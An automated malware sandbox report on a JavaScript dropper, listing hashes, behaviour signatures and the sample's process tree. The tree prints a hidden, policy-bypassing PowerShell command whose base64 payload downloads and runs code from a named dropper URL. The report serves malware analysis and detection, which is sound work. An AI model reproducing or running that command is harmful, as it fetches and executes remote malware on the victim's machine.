9fd5b91969328713b73e0c02a29cd70cfbe591a5129769bb59d4ffdcb8d8082e

Analysis

max time kernel
50s
max time network
77s
platform
windows7_x64
resource
win7-20221111-de
resource tags

arch:x64arch:x86image:win7-20221111-delocale:de-deos:windows7-x64systemwindows
submitted
06/12/2022, 10:27

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General

Target

2634_clf.js
Size

39KB
MD5

7ba2a4ca8e9c49c7c1bfa4ee35f08e1f
SHA1

bf01404ed4ca76dd905ab27b8fddc4131a7eb468
SHA256

9fd5b91969328713b73e0c02a29cd70cfbe591a5129769bb59d4ffdcb8d8082e
SHA512

ee72b245750dc701f378a0b6332809006d601022e78fb1aeb183b2d003178f3a798478ad5b88923b9ea08ba79e9364275c7ec187a209cc2ff752a332b10ed8fe
SSDEEP

768:YNRwwCSRO0mTyphyksB7ulYb7+ae5Y5N6JgLERvqH3NGaShINCoJylf:YNRwwCsTvp8ksB7kYb7ne5uNksERvqXU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://8llc.net/lite/index.php

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	700	powershell.exe
7	700	powershell.exe
9	700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
700	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	700	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 272 wrote to memory of 1144	272	wscript.exe	28
PID 272 wrote to memory of 1144	272	wscript.exe	28
PID 272 wrote to memory of 1144	272	wscript.exe	28
PID 1144 wrote to memory of 700	1144	cmd.exe	30
PID 1144 wrote to memory of 700	1144	cmd.exe	30
PID 1144 wrote to memory of 700	1144	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2634_clf.js
1⤵
- Suspicious use of WriteProcessMemory
PID:272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c PowERshell -Nop -w Hidden -ep bypaSs -enC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwA4AGwAbABjAC4AbgBlAHQALwBsAGkAdABlAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowERshell -Nop -w Hidden -ep bypaSs -enC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwA4AGwAbABjAC4AbgBlAHQALwBsAGkAdABlAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/272-55-0x000007FEFBB91000-0x000007FEFBB93000-memory.dmp

Filesize
8KB

Download
memory/700-59-0x000007FEF31E0000-0x000007FEF3C03000-memory.dmp

Filesize
10.1MB

Download
memory/700-60-0x000007FEF2680000-0x000007FEF31DD000-memory.dmp

Filesize
11.4MB

Download
memory/700-61-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/700-62-0x00000000027FB000-0x000000000281A000-memory.dmp

Filesize
124KB

Download
memory/700-63-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/700-64-0x00000000027FB000-0x000000000281A000-memory.dmp

Filesize
124KB

Download
memory/700-65-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/700-66-0x00000000027FB000-0x000000000281A000-memory.dmp

Filesize
124KB

Download